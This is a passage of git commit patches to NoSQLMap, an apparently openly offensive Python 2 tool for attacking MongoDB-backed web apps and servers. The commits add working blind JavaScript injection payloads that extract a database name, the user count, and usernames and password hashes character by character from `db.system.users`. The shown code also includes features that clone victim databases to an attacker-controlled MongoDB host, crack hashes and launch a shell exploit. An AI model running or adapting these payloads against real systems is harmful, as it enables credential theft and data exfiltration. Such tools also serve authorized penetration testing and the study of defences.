+44,14 @@ def mainMenu(): while select: os.system('clear') #label = subprocess.check_output(["git","describe","--always"]) + print "====================================================" + print " _ _ _____ _____ _ ___ ___ " + print "| \ | | / ___|| _ | | | \/ | " + print "| \| | ___ \ `--. | | | | | | . . | __ _ _ __ " + print "| . ` |/ _ \ `--. \| | | | | | |\/| |/ _` | '_ \ " + print "| |\ | (_) /\__/ /\ \/' / |____| | | | (_| | |_) |" + print "\_| \_/\___/\____/ \_/\_\_____/\_| |_/\__,_| .__/" + print "====================================================" print "NoSQLMap-v0.3" print "nosqlmap@gmail.com" print "\n" @@ -168,7 +176,7 @@ def options(): paramNames = pdArray[0::2] paramValues = pdArray[1::2] postData = dict(zip(paramNames,paramValues)) - #raw_input("Debug: " + str(postData)) + httpMethod = "POST" options() else: print "Invalid selection" @@ -189,15 +197,21 @@ def options(): loadPath = raw_input("Enter file name to load: ") try: fo = open(loadPath,"r" ) - csvOpt = fo.read() + csvOpt = fo.readlines() fo.close() - optList = csvOpt.split(",") + optList = csvOpt[0].split(",") victim = optList[0] webPort = optList[1] uri = optList[2] httpMethod = optList[3] myIP = optList[4] myPort = optList[5] + + if httpMethod == "POST": + postData = csvOpt[1] + + + #Set option checking array based on what was loaded x = 0 @@ -207,6 +221,7 @@ def options(): x += 1 except: print "Couldn't load options file!" + #print str(sys.exc_info()) Debug options() elif select == "8": @@ -252,7 +267,10 @@ def options(): savePath = raw_input("Enter file name to save: ") try: fo = open(savePath, "wb") - fo.write(str(victim) + "," + str(webPort) + "," + str(uri) + "," + str(httpMethod) + "," + str(myIP) + "," + str(myPort)) + fo.write(str(victim) + "," + str(webPort) + "," + str(uri) + "," + str(httpMethod) + "," + str(myIP) + "," + str(myPort)) + + if httpMethod == "POST": + fo.write(",\n"+ str(postData)) fo.close() print "Options file saved!" except: From 3b0c02acd02d445b6cbb4b3364ebae057bb5f24a Mon Sep 17 00:00:00 2001 From: tcstool Date: Mon, 10 Feb 2014 21:02:33 -0600 Subject: [PATCH 025/207] Added DB name length calculation --- nosqlmap.py | 30 +++++++++++++++++++++++++++--- 1 file changed, 27 insertions(+), 3 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 4ac28a1..9667a41 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -795,7 +795,7 @@ def buildUri(origUri, randValue): paramName = [] paramValue = [] global uriArray - uriArray = ["","","","","","","","","","","","","","","","",""] + uriArray = ["","","","","","","","","","","","","","","","","",""] injOpt = "" #Split the string between the path and parameters, and then split each parameter @@ -868,7 +868,7 @@ def buildUri(origUri, randValue): uriArray[14] += paramName[x] + "a'; return true; var dum=a'" uriArray[15] += paramName[x] + "1; return true; var dum=2" #Add values that can be manipulated for database attacks - uriArray[16] += paramName[x] + "=a\"; if ---" + uriArray[16] += paramName[x] + "=a\'; ---" uriArray[17] += paramName[x] + "=1; if ---" else: @@ -1073,9 +1073,33 @@ def brute_pass(user,key): return "" def getDBInfo(): + curLen = 0 + nameLen = 0 + gotNameLen = False + gotDbName = False + gotColLen = False + gotColName = False print "Getting baseline True query return size..." - trueUri = uriArray[17].replace("---","a\'; return True; var dummy ='!") + trueUri = uriArray[16].replace("---","return true; var dummy ='!" + "&") + print "Debug " + str(trueUri) + baseLen = int(len(urllib.urlopen(trueUri).read())) + print "Got baseline true query length of " + str(baseLen) + print "Calculating DB name length..." + while gotNameLen == False: + calcUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.length ==" + str(curLen) + ") {return true;} vardum='a" + "&") + print "Debug: " + calcUri + lenUri = int(len(urllib.urlopen(calcUri).read())) + print "Debug length: " + str(lenUri) + + if lenUri == baseLen: + print " Got database name length of " + str(curLen) + " characters." + gotNameLen = True + + else: + curLen += 1 + raw_input("Press enter to continue...") + mainMenu() From 1cd4ee1c9441b7febe8b5337ffea63a8355a59e2 Mon Sep 17 00:00:00 2001 From: tcstool Date: Tue, 11 Feb 2014 20:03:11 -0600 Subject: [PATCH 026/207] Finished database name stealing from web app --- nosqlmap.py | 36 ++++++++++++++++++++++++++++++++---- 1 file changed, 32 insertions(+), 4 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 9667a41..182508c 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -1075,13 +1075,18 @@ def brute_pass(user,key): def getDBInfo(): curLen = 0 nameLen = 0 + gotFullDb = False gotNameLen = False gotDbName = False gotColLen = False gotColName = False + dbName = "" + charCounter = 0 + nameCounter = 0 + chars = string.ascii_letters + string.digits print "Getting baseline True query return size..." trueUri = uriArray[16].replace("---","return true; var dummy ='!" + "&") - print "Debug " + str(trueUri) + #print "Debug " + str(trueUri) baseLen = int(len(urllib.urlopen(trueUri).read())) print "Got baseline true query length of " + str(baseLen) @@ -1090,16 +1095,39 @@ def getDBInfo(): while gotNameLen == False: calcUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.length ==" + str(curLen) + ") {return true;} vardum='a" + "&") - print "Debug: " + calcUri + #print "Debug: " + calcUri lenUri = int(len(urllib.urlopen(calcUri).read())) - print "Debug length: " + str(lenUri) + #print "Debug length: " + str(lenUri) if lenUri == baseLen: - print " Got database name length of " + str(curLen) + " characters." + print "Got database name length of " + str(curLen) + " characters." gotNameLen = True else: curLen += 1 + + print "Database Name: ", + while gotDbName == False: + charUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.charAt(" + str(nameCounter) + ") == '"+ chars[charCounter] + "') { return true; } vardum='a") + #print "Debug: " + charUri + + lenUri = int(len(urllib.urlopen(charUri).read())) + #print "debug: " + str(charCounter) + #print "Debug length: " + str(lenUri) + + if lenUri == baseLen: + dbName = dbName + chars[charCounter] + print chars[charCounter], + nameCounter += 1 + charCounter = 0 + + if nameCounter == curLen: + gotDbName = True + + + else: + charCounter += 1 + print "\n" raw_input("Press enter to continue...") mainMenu() From 9f7e06029e6c6c2c721dc7ac7542bbb545dc0a90 Mon Sep 17 00:00:00 2001 From: tcstool Date: Wed, 12 Feb 2014 19:50:40 -0600 Subject: [PATCH 027/207] Added IP address checking, get database user count --- nosqlmap.py | 56 ++++++++++++++++++++++++++++++++++++++++++++++++----- 1 file changed, 51 insertions(+), 5 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 182508c..9c79c3f 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -137,9 +137,36 @@ def options(): select = raw_input("Select an option: ") if select == "1": - victim = raw_input("Enter the host IP/DNS name: ") - print "\nTarget set to " + victim + "\n" - optionSet[0] = True + #Unset the boolean since we're setting it again. + optionSet[0] = False + goodLen = False + goodDigits = False + while optionSet[0] == False: + victim = raw_input("Enter the host IP/DNS name: ") + #make sure we got a valid IP + octets = victim.split(".") + #If there aren't 4 octets, toss an error. + if len(octets) != 4: + print "Invalid IP length." + + else: + goodLen = True + + if goodLen == True: + #If the format of the IP is good, check and make sure the octets are all within acceptable ranges. + for item in octets: + if int(item) < 0 or int(item) > 255: + print "Bad octet in IP address." + goodDigits = False + + else: + goodDigits = True + + + #If everything checks out set the IP and break the loop + if goodLen == True and goodDigits == True: + print "\nTarget set to " + victim + "\n" + optionSet[0] = True options() elif select == "2": @@ -719,7 +746,7 @@ def webApps(): else: print "Integer attack-Unsuccessful" - fileOut = raw_input("Save results to file?") + fileOut = raw_input("Save results to file? ") if fileOut == "y" or fileOut == "Y": savePath = raw_input("Enter output file name: ") @@ -1080,9 +1107,11 @@ def getDBInfo(): gotDbName = False gotColLen = False gotColName = False + gotUserCnt = False dbName = "" charCounter = 0 nameCounter = 0 + usrCount = 0 chars = string.ascii_letters + string.digits print "Getting baseline True query return size..." trueUri = uriArray[16].replace("---","return true; var dummy ='!" + "&") @@ -1127,7 +1156,24 @@ def getDBInfo(): else: charCounter += 1 - print "\n" + print "\n" + + getUserInf = raw_input("Get database users and password hashes? ") + + if getUserInf == "y" or getUserInf == "Y": + while gotUserCnt == False: + usrCntUri = uriArray[16].replace("---","var usrcnt = db.system.users.count(); if (usrcnt == " + str(usrCount) + ") { return true; } var dum='a") + lenUri = int(len(urllib.urlopen(usrCntUri).read())) + + if lenUri == baseLen: + print "Found " + str(usrCount) + " user(s)." + gotUserCnt = True + + else: + usrCount += 1 + + + raw_input("Press enter to continue...") mainMenu() From cc673110ac65e6555016005a838d015cc476fc86 Mon Sep 17 00:00:00 2001 From: tcstool Date: Wed, 12 Feb 2014 19:59:49 -0600 Subject: [PATCH 028/207] Add IP checking for attacker host --- nosqlmap.py | 39 +++++++++++++++++++++++++++++++++++---- 1 file changed, 35 insertions(+), 4 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 9c79c3f..ee2b363 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -137,7 +137,7 @@ def options(): select = raw_input("Select an option: ") if select == "1": - #Unset the boolean since we're setting it again. + #Unset the boolean if it's set since we're setting it again. optionSet[0] = False goodLen = False goodDigits = False @@ -209,10 +209,41 @@ def options(): print "Invalid selection" elif select == "5": - myIP = raw_input("Enter host IP for my Mongo/Shells: ") - print "Shell IP set to " + myIP + "\n" - optionSet[4] = True + #Unset the setting boolean since we're setting it again. + optionSet[4] = False + goodLen = False + goodDigits = False + while optionSet[4] == False: + myIP = raw_input("Enter the host IP for my Mongo/Shells: ") + #make sure we got a valid IP + octets = myIP.split(".") + #If there aren't 4 octets, toss an error. + if len(octets) != 4: + print "Invalid IP length." + + else: + goodLen = True + + if goodLen == True: + #If the format of the IP is good, check and make sure the octets are all within acceptable ranges. + for item in octets: + if int(item) < 0 or int(item) > 255: + print "Bad octet in IP address." + goodDigits = False + + else: + goodDigits = True + + + #If everything checks out set the IP and break the loop + if goodLen == True and goodDigits == True: + print "\nShell/DB listener set to " + myIP + "\n" + optionSet[4] = True options() + #myIP = raw_input("Enter host IP for my Mongo/Shells: ") + #print "Shell IP set to " + myIP + "\n" + #optionSet[4] = True + #options() elif select == "6": myPort = raw_input("Enter TCP listener for shells: ") From 00ab19243c93efe8ff5bf94b9805293a48144d64 Mon Sep 17 00:00:00 2001 From: tcstool Date: Sat, 15 Feb 2014 22:38:19 -0600 Subject: [PATCH 029/207] Started work on extracting usernames and hashes --- nosqlmap.py | 44 +++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 43 insertions(+), 1 deletion(-) diff --git a/nosqlmap.py b/nosqlmap.py index ee2b363..5e8fae4 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -1139,10 +1139,12 @@ def getDBInfo(): gotColLen = False gotColName = False gotUserCnt = False + finUser = False dbName = "" charCounter = 0 nameCounter = 0 usrCount = 0 + usrRetr = 0 chars = string.ascii_letters + string.digits print "Getting baseline True query return size..." trueUri = uriArray[16].replace("---","return true; var dummy ='!" + "&") @@ -1168,7 +1170,7 @@ def getDBInfo(): print "Database Name: ", while gotDbName == False: - charUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.charAt(" + str(nameCounter) + ") == '"+ chars[charCounter] + "') { return true; } vardum='a") + charUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.charAt(" + str(nameCounter) + ") == '"+ chars[charCounter] + "') { return true; } vardum='a" + "&") #print "Debug: " + charUri lenUri = int(len(urllib.urlopen(charUri).read())) @@ -1192,6 +1194,9 @@ def getDBInfo(): getUserInf = raw_input("Get database users and password hashes? ") if getUserInf == "y" or getUserInf == "Y": + charCounter = 0 + nameCounter = 0 + #find the total number of users on the database while gotUserCnt == False: usrCntUri = uriArray[16].replace("---","var usrcnt = db.system.users.count(); if (usrcnt == " + str(usrCount) + ") { return true; } var dum='a") lenUri = int(len(urllib.urlopen(usrCntUri).read())) @@ -1203,6 +1208,43 @@ def getDBInfo(): else: usrCount += 1 + print "User:password hash" + while usrRetr < usrCount: + while gotUserCnt == False: + #first solve for the first user in the DB + #figure out how long the username is + usrLenUri = uriArray[16].replace("---", "cur=db.system.users.findOne();uname=cur.user; if (uname.length==" + str(charCounter) + "){return true;}var dum = 'a" + "&") + lenUri = int(len(urllib.urlopen(usrLenUri).read())) + + if lenUri == baseLen: + print "First username is" + str(charCounter) + "characters." + gotUserCnt = True + + else: + charCounter += 1 + + + while finUser == False: + charUri = uriArray[16].replace("---","var cur = db.system.users.findOne(); if (cur.user.charAt(" + str(nameCounter) + ") == '"+ chars[charCounter] + "') { return true; } vardum='a" + "&") + #print "Debug: " + charUri + + lenUri = int(len(urllib.urlopen(charUri).read())) + #print "debug: " + str(charCounter) + #print "Debug length: " + str(lenUri) + + if lenUri == baseLen: + uName = uName + chars[charCounter] + print chars[charCounter], + nameCounter += 1 + charCounter = 0 + + if nameCounter == curLen: + finUser = True + + else: + charCounter += 1 + + raw_input("Press enter to continue...") From ae0ea279f543dc550ff47734bc51559bae906144 Mon Sep 17 00:00:00 2001 From: tcstool Date: Sun, 16 Feb 2014 17:36:26 -0600 Subject: [PATCH 030/207] Extract usernames and password hashes, KeyboardInterrupt Handling --- nosqlmap.py | 128 ++++++++++++++++++++++++++++++++-------------------- 1 file changed, 79 insertions(+), 49 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 5e8fae4..198aef3 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -26,6 +26,7 @@ import json import gridfs import ipcalc +import signal from hashlib import md5 #Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu. @@ -240,10 +241,6 @@ def options(): print "\nShell/DB listener set to " + myIP + "\n" optionSet[4] = True options() - #myIP = raw_input("Enter host IP for my Mongo/Shells: ") - #print "Shell IP set to " + myIP + "\n" - #optionSet[4] = True - #options() elif select == "6": myPort = raw_input("Enter TCP listener for shells: ") @@ -345,7 +342,7 @@ def netAttacks(target): #This is a global for future use with other modules; may change global dbList - srvNeedCreds = raw_input("Does the database server need credentials? ") + srvNeedCreds = raw_input("Does the database server need credentials (y/n)? ") if srvNeedCreds == "n" or srvNeedCreds == "N": @@ -378,7 +375,7 @@ def netAttacks(target): mgtRespCode = urllib.urlopen(mgtUrl).getcode() if mgtRespCode == 200: print "MongoDB web management open at " + mgtUrl + ". No authentication required!" - testRest = raw_input("Start tests for REST Interface? ") + testRest = raw_input("Start tests for REST Interface (y/n)? ") if testRest == "y" or testRest == "Y": restUrl = mgtUrl + "/listDatabases?text=1" @@ -443,7 +440,7 @@ def netAttacks(target): print "Username: " + users[x]['user'] print "Hash: " + users[x]['pwd'] print "\n" - crack = raw_input("Crack this hash? ") + crack = raw_input("Crack this hash (y/n)? ") if crack == "y": brute_pass(users[x]['user'],users[x]['pwd']) @@ -454,7 +451,7 @@ def netAttacks(target): print "\n" #Start GridFS enumeration - testGrid = raw_input("Check for GridFS? ") + testGrid = raw_input("Check for GridFS (y/n)? ") if testGrid == "y" or testGrid == "Y": for dbItem in dbList: @@ -469,12 +466,12 @@ def netAttacks(target): except: print "GridFS not enabled on " + str(dbItem) + "." - stealDB = raw_input("Steal a database? (Requires your own Mongo instance): ") + stealDB = raw_input("Steal a database (y/n-Requires your own Mongo server)?: ") if stealDB == "y" or stealDB == "Y": stealDBs (myIP) - getShell = raw_input("Try to get a shell? (Requrires mongoDB <2.2.4)? ") + getShell = raw_input("Try to get a shell? (y/n-Requrires mongoDB <2.2.4)? ") if getShell == "y" or getShell == "Y": #Launch Metasploit exploit @@ -713,7 +710,7 @@ def webApps(): possAddrs.append(uriArray[9]) print "\n" - doTimeAttack = raw_input("Start timing based tests? ") + doTimeAttack = raw_input("Start timing based tests (y/n)? ") if doTimeAttack == "y" or doTimeAttack == "Y": print "Starting Javascript string escape time based injection..." @@ -777,7 +774,7 @@ def webApps(): else: print "Integer attack-Unsuccessful" - fileOut = raw_input("Save results to file? ") + fileOut = raw_input("Save results to file (y/n)? ") if fileOut == "y" or fileOut == "Y": savePath = raw_input("Enter output file name: ") @@ -809,7 +806,7 @@ def webApps(): def webDBAttacks(trueLen): nameLen = 0 injTestLen = 0 - getDBName = raw_input("Get database name? ") + getDBName = raw_input("Get database name (y/n)? ") if getDBName == "y" or getDBName == "Y": while injTestLen != trueLen: @@ -987,7 +984,7 @@ def stealDBs(myDB): try: #Mongo can only pull, not push, connect to my instance and pull from verified open remote instance. - dbNeedCreds = raw_input("Does this database require credentials? ") + dbNeedCreds = raw_input("Does this database require credentials (y/n)? ") if dbNeedCreds == "n" or dbNeedCreds == "N": myDBConn = pymongo.MongoClient(myDB,27017) @@ -1002,7 +999,7 @@ def stealDBs(myDB): raw_input("Invalid Selection. Press enter to continue.") stealDBs(myDB) - cloneAnother = raw_input("Database cloned. Copy another? ") + cloneAnother = raw_input("Database cloned. Copy another (y/n)? ") if cloneAnother == "y" or cloneAnother == "Y": stealDBs(myDB) @@ -1144,7 +1141,10 @@ def getDBInfo(): charCounter = 0 nameCounter = 0 usrCount = 0 - usrRetr = 0 + retrUsers = 0 + users = [] + hashes = [] + chars = string.ascii_letters + string.digits print "Getting baseline True query return size..." trueUri = uriArray[16].replace("---","return true; var dummy ='!" + "&") @@ -1191,7 +1191,7 @@ def getDBInfo(): charCounter += 1 print "\n" - getUserInf = raw_input("Get database users and password hashes? ") + getUserInf = raw_input("Get database users and password hashes (y/n)? ") if getUserInf == "y" or getUserInf == "Y": charCounter = 0 @@ -1208,45 +1208,75 @@ def getDBInfo(): else: usrCount += 1 - print "User:password hash" - while usrRetr < usrCount: - while gotUserCnt == False: - #first solve for the first user in the DB - #figure out how long the username is - usrLenUri = uriArray[16].replace("---", "cur=db.system.users.findOne();uname=cur.user; if (uname.length==" + str(charCounter) + "){return true;}var dum = 'a" + "&") - lenUri = int(len(urllib.urlopen(usrLenUri).read())) - - if lenUri == baseLen: - print "First username is" + str(charCounter) + "characters." - gotUserCnt = True - - else: - charCounter += 1 + usrChars = 0 #total number of characters in username + charCounterUsr = 0 #position in the character array-Username + rightCharsUsr = 0 #number of correct characters-Username + rightCharsHash = 0 #number of correct characters-hash + charCounterHash = 0 + username = "" + pwdHash = "" + charCountUsr = False + query = "{}" + + while retrUsers < usrCount: + if retrUsers == 0: + while charCountUsr == False: + #different query to get the first user vs. others + usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&") + lenUri = int(len(urllib.urlopen(usrUri).read())) - - while finUser == False: - charUri = uriArray[16].replace("---","var cur = db.system.users.findOne(); if (cur.user.charAt(" + str(nameCounter) + ") == '"+ chars[charCounter] + "') { return true; } vardum='a" + "&") - #print "Debug: " + charUri - - lenUri = int(len(urllib.urlopen(charUri).read())) - #print "debug: " + str(charCounter) - #print "Debug length: " + str(lenUri) - - if lenUri == baseLen: - uName = uName + chars[charCounter] - print chars[charCounter], - nameCounter += 1 - charCounter = 0 - - if nameCounter == curLen: - finUser = True + if lenUri == baseLen: + #Got the right number of characters + charCountUsr = True + + else: + usrChars += 1 + + while rightCharsUsr < usrChars: + usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } vardum='a" + "&") + lenUri = int(len(urllib.urlopen(usrUri).read())) + + if lenUri == baseLen: + username = username + chars[charCounterUsr] + #print username + rightCharsUsr += 1 + charCounterUsr = 0 + else: + charCounterUsr += 1 + + retrUsers += 1 + users.append(username) + #print str(retrUsers) + #print str(users) + + while rightCharsHash < 32: #Hash length is static + hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } vardum='a" + "&") + lenUri = int(len(urllib.urlopen(hashUri).read())) + + if lenUri == baseLen: + pwdHash = pwdHash + chars[charCounterHash] + #print pwdHash + rightCharsHash += 1 + charCounterHash = 0 + + else: + charCounterHash += 1 + + hashes.append(pwdHash) + print "Got user:hash " + users[0] + ":" + hashes[0] + else: - charCounter += 1 + print "more users go here." raw_input("Press enter to continue...") +def signal_handler(signal, frame): + print "\n" + print "CTRL+C detected. Exiting." + sys.exit(0) +signal.signal(signal.SIGINT, signal_handler) mainMenu() From bf0f81b034cfc62629bf191bb704b603cfca036b Mon Sep 17 00:00:00 2001 From: tcstool Date: Thu, 20 Feb 2014 17:43:12 -0600 Subject: [PATCH 031/207] Finish hash extraction, add IP set check for database cloning --- nosqlmap.py | 153 +++++++++++++++++++++++++++++++++++++--------------- 1 file changed, 111 insertions(+), 42 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 198aef3..1aa52a9 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -968,6 +968,9 @@ def buildUri(origUri, randValue): uriArray[17] = uriArray[17][:-1] return uriArray[0] +def buildPostData(body): + print "Post data crap goes here." + def stealDBs(myDB): menuItem = 1 @@ -986,7 +989,11 @@ def stealDBs(myDB): #Mongo can only pull, not push, connect to my instance and pull from verified open remote instance. dbNeedCreds = raw_input("Does this database require credentials (y/n)? ") - if dbNeedCreds == "n" or dbNeedCreds == "N": + if dbNeedCreds == "n" or dbNeedCreds == "N": + if optionSet[4] == False: + raw_input("No IP specified to copy to! Press enter to return to main menu...") + mainMenu() + myDBConn = pymongo.MongoClient(myDB,27017) myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim) @@ -1008,6 +1015,7 @@ def stealDBs(myDB): return() except: + #print str(sys.exc_info()) raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return...") mainMenu() @@ -1212,62 +1220,123 @@ def getDBInfo(): charCounterUsr = 0 #position in the character array-Username rightCharsUsr = 0 #number of correct characters-Username rightCharsHash = 0 #number of correct characters-hash - charCounterHash = 0 + charCounterHash = 0 #position in the character array-hash username = "" pwdHash = "" charCountUsr = False query = "{}" while retrUsers < usrCount: - if retrUsers == 0: - while charCountUsr == False: - #different query to get the first user vs. others - usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&") - lenUri = int(len(urllib.urlopen(usrUri).read())) + if retrUsers == 0: + while charCountUsr == False: + #different query to get the first user vs. others + usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&") + lenUri = int(len(urllib.urlopen(usrUri).read())) - if lenUri == baseLen: - #Got the right number of characters - charCountUsr = True + if lenUri == baseLen: + #Got the right number of characters + charCountUsr = True - else: - usrChars += 1 + else: + usrChars += 1 - while rightCharsUsr < usrChars: - usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } vardum='a" + "&") - lenUri = int(len(urllib.urlopen(usrUri).read())) + while rightCharsUsr < usrChars: + usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } var dum='a" + "&") + lenUri = int(len(urllib.urlopen(usrUri).read())) - if lenUri == baseLen: - username = username + chars[charCounterUsr] - #print username - rightCharsUsr += 1 - charCounterUsr = 0 + if lenUri == baseLen: + username = username + chars[charCounterUsr] + #print username + rightCharsUsr += 1 + charCounterUsr = 0 - else: - charCounterUsr += 1 + else: + charCounterUsr += 1 - retrUsers += 1 - users.append(username) - #print str(retrUsers) - #print str(users) - - while rightCharsHash < 32: #Hash length is static - hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } vardum='a" + "&") - lenUri = int(len(urllib.urlopen(hashUri).read())) + retrUsers += 1 + users.append(username) + #reinitialize all variables and get ready to do it again + #print str(retrUsers) + #print str(users) + charCountUsr = False + rightCharsUsr = 0 + usrChars = 0 + username = "" + + while rightCharsHash < 32: #Hash length is static + hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } var dum='a" + "&") + lenUri = int(len(urllib.urlopen(hashUri).read())) - if lenUri == baseLen: - pwdHash = pwdHash + chars[charCounterHash] - #print pwdHash - rightCharsHash += 1 - charCounterHash = 0 + if lenUri == baseLen: + pwdHash = pwdHash + chars[charCounterHash] + #print pwdHash + rightCharsHash += 1 + charCounterHash = 0 - else: - charCounterHash += 1 + else: + charCounterHash += 1 - hashes.append(pwdHash) - print "Got user:hash " + users[0] + ":" + hashes[0] + hashes.append(pwdHash) + print "Got user:hash " + users[0] + ":" + hashes[0] + #reinitialize all variables and get ready to do it again + charCounterHash = 0 + rightCharsHash = 0 + pwdHash = "" + else: + while charCountUsr == False: + #different query to get the first user vs. others + usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&") + lenUri = int(len(urllib.urlopen(usrUri).read())) + + if lenUri == baseLen: + #Got the right number of characters + charCountUsr = True + + else: + usrChars += 1 - else: - print "more users go here." + while rightCharsUsr < usrChars: + usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } var dum='a" + "&") + lenUri = int(len(urllib.urlopen(usrUri).read())) + + if lenUri == baseLen: + username = username + chars[charCounterUsr] + #print username + rightCharsUsr += 1 + charCounterUsr = 0 + + else: + charCounterUsr += 1 + + retrUsers += 1 + #reinitialize all variables and get ready to do it again + + charCountUsr = False + rightCharsUsr = 0 + usrChars = 0 + + + while rightCharsHash < 32: #Hash length is static + hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } vardum='a" + "&") + lenUri = int(len(urllib.urlopen(hashUri).read())) + + if lenUri == baseLen: + pwdHash = pwdHash + chars[charCounterHash] + #print pwdHash + rightCharsHash += 1 + charCounterHash = 0 + + else: + charCounterHash += 1 + + users.append(username) + hashes.append(pwdHash) + print "Got user:hash " + users[retrUsers-1] + ":" + hashes[retrUsers-1] + #reinitialize all variables and get ready to do it again + username = "" + charCounterHash = 0 + rightCharsHash = 0 + pwdHash = "" @@ -1277,6 +1346,6 @@ def getDBInfo(): def signal_handler(signal, frame): print "\n" print "CTRL+C detected. Exiting." - sys.exit(0) + sys.exit() signal.signal(signal.SIGINT, signal_handler) mainMenu() From f62e73acb56cf95f7e4a11aab88cb317eb316887 Mon Sep 17 00:00:00 2001 From: tcstool Date: Thu, 20 Feb 2014 17:46:01 -0600 Subject: [PATCH 032/207] Added missing code from master to handle text index exception --- nosqlmap.py | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 1aa52a9..cf3d782 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -1015,9 +1015,12 @@ def stealDBs(myDB): return() except: - #print str(sys.exc_info()) - raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return...") - mainMenu() + if str(sys.exc_info()).find('text search not enabled') != -1: + raw_input("Database copied, but text indexing was not enabled on the target. Indexes not moved. Press enter to return...") + mainMenu() + else: + raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return...") + mainMenu() def massMongo(): global victim From 34714ef634d54effb238efede5f8008499ad0c10 Mon Sep 17 00:00:00 2001 From: tcstool Date: Fri, 28 Feb 2014 20:54:35 -0600 Subject: [PATCH 033/207] Finished POST baselines --- nosqlmap.py | 355 +++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 353 insertions(+), 2 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index cf3d782..a255f56 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -21,6 +21,7 @@ import time import httplib2 import urllib +import urllib2 import pymongo import subprocess import json @@ -80,7 +81,11 @@ def mainMenu(): elif select == "3": #Check minimum required options if (optionSet[0] == True) and (optionSet[2] == True): - webApps() + if httpMethod == "GET": + webApps() + + else: + postApps() else: raw_input("Options not set! Check Host and URI path. Press enter to continue...") @@ -102,6 +107,7 @@ def options(): global webPort global uri global httpMethod + global postData global myIP global myPort #Set default value if needed @@ -483,7 +489,331 @@ def netAttacks(target): raw_input("Press enter to continue...") return() + +def postApps(): + print "Web App Attacks" + print "===============" + paramName = [] + paramValue = [] + vulnAddrs = [] + possAddrs = [] + timeVulnsStr = [] + timeVulnsInt = [] + appUp = False + strTbAttack = False + intTbAttack = False + trueStr = False + trueInt = False + lt24 = False + global postData + + #Verify app is working. + print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..." + + appURL = "http://" + str(victim) + ":" + str(webPort) + str(uri) + + try: + body = urllib.urlencode(postData) + req = urllib2.Request(appURL,body) + appRespCode = urllib2.urlopen(req).getcode() + + #normLength = int(len(urllib.urlopen(appURL).read())) + if appRespCode == 200: + + normLength = int(len(urllib2.urlopen(req).read())) + timeReq = urllib2.urlopen(req) + start = time.time() + page = timeReq.read() + end = time.time() + timeReq.close() + timeBase = round((end - start), 3) + + + + print "App is up! Got response length of " + str(normLength) + " and response time of " + str(timeBase) + " seconds. Starting injection test.\n" + appUp = True + + else: + print "Got " + appRespCode + "from the app, check your options." + except: + print sys.exc_info() + print "Looks like the server didn't respond. Check your options." + if appUp == True: + + injectSize = raw_input("Baseline test-Enter random string size: ") + injectString = randInjString(int(injectSize)) + print "Using " + injectString + " for injection testing.\n" + + #Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same. + #Add error handling for Non-200 HTTP response codes if random strings freaks out the app. + randomUri = buildUri(appURL,injectString) + print "Checking random injected parameter HTTP response size using " + randomUri +"...\n" + randLength = 